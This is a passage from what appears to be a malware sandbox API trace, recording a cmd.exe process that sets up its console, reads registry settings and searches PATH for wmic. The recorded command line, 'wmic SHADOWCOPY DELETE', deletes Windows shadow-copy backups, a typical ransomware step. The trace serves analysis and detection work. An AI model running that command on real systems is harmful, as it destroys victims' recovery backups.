lpMode=0x4a2541ac | out: lpMode=0x4a2541ac) returned 1 [0034.108] _get_osfhandle (_FileHandle=1) returned 0x7 [0034.108] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0034.108] _get_osfhandle (_FileHandle=0) returned 0x3 [0034.108] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a2541b0 | out: lpMode=0x4a2541b0) returned 1 [0034.109] _get_osfhandle (_FileHandle=0) returned 0x3 [0034.109] SetConsoleMode (hConsoleHandle=0x3, dwMode=0x1a7) returned 1 [0034.109] GetEnvironmentStringsW () returned 0x662030* [0034.109] GetProcessHeap () returned 0x650000 [0034.109] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x8, Size=0xaca) returned 0x662b08 [0034.110] FreeEnvironmentStringsW (penv=0x662030) returned 1 [0034.110] GetProcessHeap () returned 0x650000 [0034.110] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x8, Size=0x4) returned 0x660c68 [0034.110] GetEnvironmentStringsW () returned 0x662030* [0034.110] GetProcessHeap () returned 0x650000 [0034.110] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x8, Size=0xaca) returned 0x6635e0 [0034.110] FreeEnvironmentStringsW (penv=0x662030) returned 1 [0034.110] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x20edac | out: phkResult=0x20edac*=0x68) returned 0x0 [0034.110] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x20edb4, lpData=0x20edb8, lpcbData=0x20edb0*=0x1000 | out: lpType=0x20edb4*=0x0, lpData=0x20edb8*=0x0, lpcbData=0x20edb0*=0x1000) returned 0x2 [0034.110] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x20edb4, lpData=0x20edb8, lpcbData=0x20edb0*=0x1000 | out: lpType=0x20edb4*=0x4, lpData=0x20edb8*=0x1, lpcbData=0x20edb0*=0x4) returned 0x0 [0034.110] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x20edb4, lpData=0x20edb8, lpcbData=0x20edb0*=0x1000 | out: lpType=0x20edb4*=0x0, lpData=0x20edb8*=0x1, lpcbData=0x20edb0*=0x1000) returned 0x2 [0034.110] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x20edb4, lpData=0x20edb8, lpcbData=0x20edb0*=0x1000 | out: lpType=0x20edb4*=0x4, lpData=0x20edb8*=0x0, lpcbData=0x20edb0*=0x4) returned 0x0 [0034.111] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x20edb4, lpData=0x20edb8, lpcbData=0x20edb0*=0x1000 | out: lpType=0x20edb4*=0x4, lpData=0x20edb8*=0x40, lpcbData=0x20edb0*=0x4) returned 0x0 [0034.111] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x20edb4, lpData=0x20edb8, lpcbData=0x20edb0*=0x1000 | out: lpType=0x20edb4*=0x4, lpData=0x20edb8*=0x40, lpcbData=0x20edb0*=0x4) returned 0x0 [0034.111] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x20edb4, lpData=0x20edb8, lpcbData=0x20edb0*=0x1000 | out: lpType=0x20edb4*=0x0, lpData=0x20edb8*=0x40, lpcbData=0x20edb0*=0x1000) returned 0x2 [0034.111] RegCloseKey (hKey=0x68) returned 0x0 [0034.111] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x20edac | out: phkResult=0x20edac*=0x68) returned 0x0 [0034.111] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x20edb4, lpData=0x20edb8, lpcbData=0x20edb0*=0x1000 | out: lpType=0x20edb4*=0x0, lpData=0x20edb8*=0x40, lpcbData=0x20edb0*=0x1000) returned 0x2 [0034.111] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x20edb4, lpData=0x20edb8, lpcbData=0x20edb0*=0x1000 | out: lpType=0x20edb4*=0x4, lpData=0x20edb8*=0x1, lpcbData=0x20edb0*=0x4) returned 0x0 [0034.111] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x20edb4, lpData=0x20edb8, lpcbData=0x20edb0*=0x1000 | out: lpType=0x20edb4*=0x0, lpData=0x20edb8*=0x1, lpcbData=0x20edb0*=0x1000) returned 0x2 [0034.111] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x20edb4, lpData=0x20edb8, lpcbData=0x20edb0*=0x1000 | out: lpType=0x20edb4*=0x4, lpData=0x20edb8*=0x0, lpcbData=0x20edb0*=0x4) returned 0x0 [0034.111] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x20edb4, lpData=0x20edb8, lpcbData=0x20edb0*=0x1000 | out: lpType=0x20edb4*=0x4, lpData=0x20edb8*=0x9, lpcbData=0x20edb0*=0x4) returned 0x0 [0034.111] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x20edb4, lpData=0x20edb8, lpcbData=0x20edb0*=0x1000 | out: lpType=0x20edb4*=0x4, lpData=0x20edb8*=0x9, lpcbData=0x20edb0*=0x4) returned 0x0 [0034.111] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x20edb4, lpData=0x20edb8, lpcbData=0x20edb0*=0x1000 | out: lpType=0x20edb4*=0x0, lpData=0x20edb8*=0x9, lpcbData=0x20edb0*=0x1000) returned 0x2 [0034.111] RegCloseKey (hKey=0x68) returned 0x0 [0034.111] time (in: timer=0x0 | out: timer=0x0) returned 0x5e3d6f9d [0034.111] srand (_Seed=0x5e3d6f9d) [0034.111] GetCommandLineW () returned="\"C:\\Windows\\System32\\cmd.exe\" /c wmic SHADOWCOPY DELETE" [0034.111] GetCommandLineW () returned="\"C:\\Windows\\System32\\cmd.exe\" /c wmic SHADOWCOPY DELETE" [0034.112] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a255260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0034.112] GetProcessHeap () returned 0x650000 [0034.112] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x8, Size=0x210) returned 0x662030 [0034.112] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x662038, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b [0034.112] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a260640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0034.112] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a260640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0034.112] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a260640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0034.112] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0034.112] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0034.112] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0034.112] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0034.112] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0034.112] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0034.112] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0034.113] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0034.113] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0034.113] GetProcessHeap () returned 0x650000 [0034.113] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x662b08 | out: hHeap=0x650000) returned 1 [0034.113] GetEnvironmentStringsW () returned 0x662248* [0034.113] GetProcessHeap () returned 0x650000 [0034.113] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x8, Size=0xae2) returned 0x664ba8 [0034.113] FreeEnvironmentStringsW (penv=0x662248) returned 1 [0034.113] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a260640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0034.113] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a260640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0034.113] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0034.113] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0034.113] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0034.113] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0034.113] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0034.113] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0034.113] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0034.113] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0034.113] GetProcessHeap () returned 0x650000 [0034.113] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x8, Size=0x54) returned 0x665698 [0034.113] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x20fb78 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0034.113] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x20fb78, lpFilePart=0x20fb74 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x20fb74*="Desktop") returned 0x25 [0034.113] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0034.114] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x20f8f4 | out: lpFindFileData=0x20f8f4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x661eb0 [0034.114] FindClose (in: hFindFile=0x661eb0 | out: hFindFile=0x661eb0) returned 1 [0034.114] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x20f8f4 | out: lpFindFileData=0x20f8f4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x661eb0 [0034.114] FindClose (in: hFindFile=0x661eb0 | out: hFindFile=0x661eb0) returned 1 [0034.114] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20 [0034.114] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x20f8f4 | out: lpFindFileData=0x20f8f4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x3870e600, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3870e600, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x661eb0 [0034.114] FindClose (in: hFindFile=0x661eb0 | out: hFindFile=0x661eb0) returned 1 [0034.114] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0034.114] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1 [0034.115] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0034.115] GetProcessHeap () returned 0x650000 [0034.115] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x664ba8 | out: hHeap=0x650000) returned 1 [0034.115] GetEnvironmentStringsW () returned 0x6640b8* [0034.115] GetProcessHeap () returned 0x650000 [0034.115] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x8, Size=0xb36) returned 0x665ef8 [0034.115] FreeEnvironmentStringsW (penv=0x6640b8) returned 1 [0034.115] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a255260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0034.115] GetProcessHeap () returned 0x650000 [0034.115] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x665698 | out: hHeap=0x650000) returned 1 [0034.115] GetProcessHeap () returned 0x650000 [0034.115] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x8, Size=0x400e) returned 0x666a38 [0034.115] GetProcessHeap () returned 0x650000 [0034.116] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x8, Size=0x3a) returned 0x661eb0 [0034.116] GetProcessHeap () returned 0x650000 [0034.116] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x666a38 | out: hHeap=0x650000) returned 1 [0034.116] GetConsoleOutputCP () returned 0x1b5 [0034.238] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a254260 | out: lpCPInfo=0x4a254260) returned 1 [0034.238] GetUserDefaultLCID () returned 0x409 [0034.250] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4a254950, cchData=8 | out: lpLCData=":") returned 2 [0034.250] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x20fcb8, cchData=128 | out: lpLCData="0") returned 2 [0034.250] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x20fcb8, cchData=128 | out: lpLCData="0") returned 2 [0034.250] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x20fcb8, cchData=128 | out: lpLCData="1") returned 2 [0034.250] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4a254940, cchData=8 | out: lpLCData="/") returned 2 [0034.250] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4a254d80, cchData=32 | out: lpLCData="Mon") returned 4 [0034.250] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4a254d40, cchData=32 | out: lpLCData="Tue") returned 4 [0034.250] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4a254d00, cchData=32 | out: lpLCData="Wed") returned 4 [0034.250] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4a254cc0, cchData=32 | out: lpLCData="Thu") returned 4 [0034.250] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4a254c80, cchData=32 | out: lpLCData="Fri") returned 4 [0034.251] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4a254c40, cchData=32 | out: lpLCData="Sat") returned 4 [0034.251] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4a254c00, cchData=32 | out: lpLCData="Sun") returned 4 [0034.251] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4a254930, cchData=8 | out: lpLCData=".") returned 2 [0034.251] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4a254920, cchData=8 | out: lpLCData=",") returned 2 [0034.251] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0034.252] GetProcessHeap () returned 0x650000 [0034.252] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x20c) returned 0x662dc0 [0034.252] GetConsoleTitleW (in: lpConsoleTitle=0x662dc0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b [0034.252] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76e10000 [0034.252] GetProcAddress (hModule=0x76e10000, lpProcName="CopyFileExW") returned 0x76e43b92 [0034.252] GetProcAddress (hModule=0x76e10000, lpProcName="IsDebuggerPresent") returned 0x76e24a5d [0034.252] GetProcAddress (hModule=0x76e10000, lpProcName="SetConsoleInputExeNameW") returned 0x76e3a79d [0034.253] GetProcessHeap () returned 0x650000 [0034.253] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x8, Size=0x400a) returned 0x666a38 [0034.253] GetProcessHeap () returned 0x650000 [0034.253] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x666a38 | out: hHeap=0x650000) returned 1 [0034.253] _wcsicmp (_String1="wmic", _String2=")") returned 78 [0034.253] _wcsicmp (_String1="FOR", _String2="wmic") returned -17 [0034.253] _wcsicmp (_String1="FOR/?", _String2="wmic") returned -17 [0034.253] _wcsicmp (_String1="IF", _String2="wmic") returned -14 [0034.253] _wcsicmp (_String1="IF/?", _String2="wmic") returned -14 [0034.253] _wcsicmp (_String1="REM", _String2="wmic") returned -5 [0034.253] _wcsicmp (_String1="REM/?", _String2="wmic") returned -5 [0034.253] GetProcessHeap () returned 0x650000 [0034.253] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x8, Size=0x58) returned 0x662fd8 [0034.253] GetProcessHeap () returned 0x650000 [0034.253] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x8, Size=0x12) returned 0x663038 [0034.254] GetProcessHeap () returned 0x650000 [0034.254] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x8, Size=0x2e) returned 0x663058 [0034.254] GetConsoleTitleW (in: lpConsoleTitle=0x20f9b0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b [0034.255] _wcsicmp (_String1="wmic", _String2="DIR") returned 19 [0034.255] _wcsicmp (_String1="wmic", _String2="ERASE") returned 18 [0034.255] _wcsicmp (_String1="wmic", _String2="DEL") returned 19 [0034.255] _wcsicmp (_String1="wmic", _String2="TYPE") returned 3 [0034.255] _wcsicmp (_String1="wmic", _String2="COPY") returned 20 [0034.255] _wcsicmp (_String1="wmic", _String2="CD") returned 20 [0034.255] _wcsicmp (_String1="wmic", _String2="CHDIR") returned 20 [0034.255] _wcsicmp (_String1="wmic", _String2="RENAME") returned 5 [0034.255] _wcsicmp (_String1="wmic", _String2="REN") returned 5 [0034.255] _wcsicmp (_String1="wmic", _String2="ECHO") returned 18 [0034.255] _wcsicmp (_String1="wmic", _String2="SET") returned 4 [0034.255] _wcsicmp (_String1="wmic", _String2="PAUSE") returned 7 [0034.255] _wcsicmp (_String1="wmic", _String2="DATE") returned 19 [0034.255] _wcsicmp (_String1="wmic", _String2="TIME") returned 3 [0034.255] _wcsicmp (_String1="wmic", _String2="PROMPT") returned 7 [0034.255] _wcsicmp (_String1="wmic", _String2="MD") returned 10 [0034.255] _wcsicmp (_String1="wmic", _String2="MKDIR") returned 10 [0034.255] _wcsicmp (_String1="wmic", _String2="RD") returned 5 [0034.255] _wcsicmp (_String1="wmic", _String2="RMDIR") returned 5 [0034.255] _wcsicmp (_String1="wmic", _String2="PATH") returned 7 [0034.255] _wcsicmp (_String1="wmic", _String2="GOTO") returned 16 [0034.255] _wcsicmp (_String1="wmic", _String2="SHIFT") returned 4 [0034.255] _wcsicmp (_String1="wmic", _String2="CLS") returned 20 [0034.255] _wcsicmp (_String1="wmic", _String2="CALL") returned 20 [0034.255] _wcsicmp (_String1="wmic", _String2="VERIFY") returned 1 [0034.255] _wcsicmp (_String1="wmic", _String2="VER") returned 1 [0034.255] _wcsicmp (_String1="wmic", _String2="VOL") returned 1 [0034.255] _wcsicmp (_String1="wmic", _String2="EXIT") returned 18 [0034.255] _wcsicmp (_String1="wmic", _String2="SETLOCAL") returned 4 [0034.255] _wcsicmp (_String1="wmic", _String2="ENDLOCAL") returned 18 [0034.255] _wcsicmp (_String1="wmic", _String2="TITLE") returned 3 [0034.256] _wcsicmp (_String1="wmic", _String2="START") returned 4 [0034.256] _wcsicmp (_String1="wmic", _String2="DPATH") returned 19 [0034.256] _wcsicmp (_String1="wmic", _String2="KEYS") returned 12 [0034.256] _wcsicmp (_String1="wmic", _String2="MOVE") returned 10 [0034.256] _wcsicmp (_String1="wmic", _String2="PUSHD") returned 7 [0034.256] _wcsicmp (_String1="wmic", _String2="POPD") returned 7 [0034.256] _wcsicmp (_String1="wmic", _String2="ASSOC") returned 22 [0034.256] _wcsicmp (_String1="wmic", _String2="FTYPE") returned 17 [0034.256] _wcsicmp (_String1="wmic", _String2="BREAK") returned 21 [0034.256] _wcsicmp (_String1="wmic", _String2="COLOR") returned 20 [0034.256] _wcsicmp (_String1="wmic", _String2="MKLINK") returned 10 [0034.256] _wcsicmp (_String1="wmic", _String2="DIR") returned 19 [0034.256] _wcsicmp (_String1="wmic", _String2="ERASE") returned 18 [0034.256] _wcsicmp (_String1="wmic", _String2="DEL") returned 19 [0034.256] _wcsicmp (_String1="wmic", _String2="TYPE") returned 3 [0034.256] _wcsicmp (_String1="wmic", _String2="COPY") returned 20 [0034.256] _wcsicmp (_String1="wmic", _String2="CD") returned 20 [0034.256] _wcsicmp (_String1="wmic", _String2="CHDIR") returned 20 [0034.256] _wcsicmp (_String1="wmic", _String2="RENAME") returned 5 [0034.256] _wcsicmp (_String1="wmic", _String2="REN") returned 5 [0034.256] _wcsicmp (_String1="wmic", _String2="ECHO") returned 18 [0034.256] _wcsicmp (_String1="wmic", _String2="SET") returned 4 [0034.256] _wcsicmp (_String1="wmic", _String2="PAUSE") returned 7 [0034.256] _wcsicmp (_String1="wmic", _String2="DATE") returned 19 [0034.256] _wcsicmp (_String1="wmic", _String2="TIME") returned 3 [0034.256] _wcsicmp (_String1="wmic", _String2="PROMPT") returned 7 [0034.256] _wcsicmp (_String1="wmic", _String2="MD") returned 10 [0034.256] _wcsicmp (_String1="wmic", _String2="MKDIR") returned 10 [0034.256] _wcsicmp (_String1="wmic", _String2="RD") returned 5 [0034.256] _wcsicmp (_String1="wmic", _String2="RMDIR") returned 5 [0034.256] _wcsicmp (_String1="wmic", _String2="PATH") returned 7 [0034.256] _wcsicmp (_String1="wmic", _String2="GOTO") returned 16 [0034.256] _wcsicmp (_String1="wmic", _String2="SHIFT") returned 4 [0034.256] _wcsicmp (_String1="wmic", _String2="CLS") returned 20 [0034.256] _wcsicmp (_String1="wmic", _String2="CALL") returned 20 [0034.256] _wcsicmp (_String1="wmic", _String2="VERIFY") returned 1 [0034.256] _wcsicmp (_String1="wmic", _String2="VER") returned 1 [0034.256] _wcsicmp (_String1="wmic", _String2="VOL") returned 1 [0034.257] _wcsicmp (_String1="wmic", _String2="EXIT") returned 18 [0034.257] _wcsicmp (_String1="wmic", _String2="SETLOCAL") returned 4 [0034.257] _wcsicmp (_String1="wmic", _String2="ENDLOCAL") returned 18 [0034.257] _wcsicmp (_String1="wmic", _String2="TITLE") returned 3 [0034.257] _wcsicmp (_String1="wmic", _String2="START") returned 4 [0034.257] _wcsicmp (_String1="wmic", _String2="DPATH") returned 19 [0034.257] _wcsicmp (_String1="wmic", _String2="KEYS") returned 12 [0034.257] _wcsicmp (_String1="wmic", _String2="MOVE") returned 10 [0034.257] _wcsicmp (_String1="wmic", _String2="PUSHD") returned 7 [0034.257] _wcsicmp (_String1="wmic", _String2="POPD") returned 7 [0034.257] _wcsicmp (_String1="wmic", _String2="ASSOC") returned 22 [0034.257] _wcsicmp (_String1="wmic", _String2="FTYPE") returned 17 [0034.257] _wcsicmp (_String1="wmic", _String2="BREAK") returned 21 [0034.257] _wcsicmp (_String1="wmic", _String2="COLOR") returned 20 [0034.257] _wcsicmp (_String1="wmic", _String2="MKLINK") returned 10 [0034.257] _wcsicmp (_String1="wmic", _String2="FOR") returned 17 [0034.257] _wcsicmp (_String1="wmic", _String2="IF") returned 14 [0034.257] _wcsicmp (_String1="wmic", _String2="REM") returned 5 [0034.257] GetProcessHeap () returned 0x650000 [0034.257] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x8, Size=0x210) returned 0x663090 [0034.257] GetProcessHeap () returned 0x650000 [0034.257] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x8, Size=0x38) returned 0x6632a8 [0034.257] _wcsnicmp (_String1="wmic", _String2="cmd ", _MaxCount=0x4) returned 20 [0034.257] GetProcessHeap () returned 0x650000 [0034.257] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x8, Size=0x418) returned 0x6507f0 [0034.257] SetErrorMode (uMode=0x0) returned 0x0 [0034.258] SetErrorMode (uMode=0x1) returned 0x0 [0034.258] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x6507f8, lpFilePart=0x20f4d0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x20f4d0*="Desktop") returned 0x25 [0034.258] SetErrorMode (uMode=0x0) returned 0x1 [0034.258] GetProcessHeap () returned 0x650000 [0034.258] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x6507f0, Size=0x5e) returned 0x6507f0 [0034.258] GetProcessHeap () returned 0x650000 [0034.258] RtlSizeHeap (HeapHandle=0x650000, Flags=0x0, MemoryPointer=0x6507f0) returned 0x5e [0034.258] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a260640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0034.258] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0034.258] GetProcessHeap () returned 0x650000 [0034.258] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x8, Size=0x120) returned 0x6632e8 [0034.258] GetProcessHeap () returned 0x650000 [0034.258] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x8, Size=0x238) returned 0x650858 [0034.277] GetProcessHeap () returned 0x650000 [0034.277] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x650858, Size=0x122) returned 0x650858 [0034.277] GetProcessHeap () returned 0x650000 [0034.277] RtlSizeHeap (HeapHandle=0x650000, Flags=0x0, MemoryPointer=0x650858) returned 0x122 [0034.277] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a260640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0034.277] GetProcessHeap () returned 0x650000 [0034.277] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x8, Size=0xe0) returned 0x663410 [0034.277] GetProcessHeap () returned 0x650000 [0034.277] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x663410, Size=0x76) returned 0x663410 [0034.277] GetProcessHeap () returned 0x650000 [0034.277] RtlSizeHeap (HeapHandle=0x650000, Flags=0x0, MemoryPointer=0x663410) returned 0x76 [0034.278] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0034.278] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\wmic.*", fInfoLevelId=0x1, lpFindFileData=0x20f24c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x20f24c) returned 0xffffffff [0034.278] GetLastError () returned 0x2 [0034.278] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\wmic", fInfoLevelId=0x1, lpFindFileData=0x20f24c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x20f24c) returned 0xffffffff [0034.278] GetLastError () returned 0x2 [0034.278] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0034.278] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\wmic.*", fInfoLevelId=0x1, lpFindFileData=0x20f24c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x20f24c) returned 0xffffffff [0034.279] GetLastError () returned 0x2 [0034.279] FindFirstFileExW (in: 